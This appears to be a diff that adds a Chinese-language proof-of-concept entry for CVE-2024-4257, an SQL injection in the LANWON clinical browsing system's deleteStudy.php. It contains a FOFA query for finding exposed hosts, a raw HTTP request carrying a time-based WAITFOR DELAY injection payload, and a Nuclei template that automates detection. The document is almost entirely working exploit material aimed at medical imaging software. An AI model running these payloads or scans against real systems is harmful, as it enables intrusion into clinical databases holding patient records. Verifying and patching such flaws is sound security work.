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+## 蓝网科技临床浏览系统-deleteStudy-SQL注入漏洞复现(CVE-2024-4257)
+
+## fofa
+```
+app="LANWON-临床浏览系统"
+```
+
+
+## poc
+```
+GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
+Host: your-ip
+User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+```
+
+![3381645ae427d513ecd41049698ca5e6](https://github.com/wy876/POC/assets/139549762/87fa4b24-5d9b-4007-9f97-e1a266dd3d49)
+
+## Nuclei 
+```
+id: Bluenet_Technology_Clinical_Browsing_documentUniqueId_SQL_injection
+
+info:
+  name: Bluenet_Technology_Clinical_Browsing_documentUniqueId_SQL_injection
+  author: xiaoming
+  severity: high
+  description: Bluenet Technology Clinical Browsing System documentUniqueId SQL injection(CVE-2024-4257)
+  metadata:
+    max-request: 1
+    shodan-query: ""
+    verified: true
+
+http:
+- raw:
+  - |+
+    @timeout: 30s
+    GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
+    Host: {{Hostname}}
+    Cache-Control: max-age=0
+    Upgrade-Insecure-Requests: 1
+    User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+    Accept-Encoding: gzip, deflate
+    Accept-Language: zh-CN,zh;q=0.9
+    sec-ch-ua-platform: "Windows"
+    sec-ch-ua: "Google Chrome";v="109", "Chromium";v="109", "Not=A?Brand";v="24"
+    sec-ch-ua-mobile: ?0
+    Connection: close
+
+  redirects: true
+  matchers-condition: and
+  matchers:
+  - id: 1
+    type: dsl
+    dsl:
+    - 'duration>=5'
+```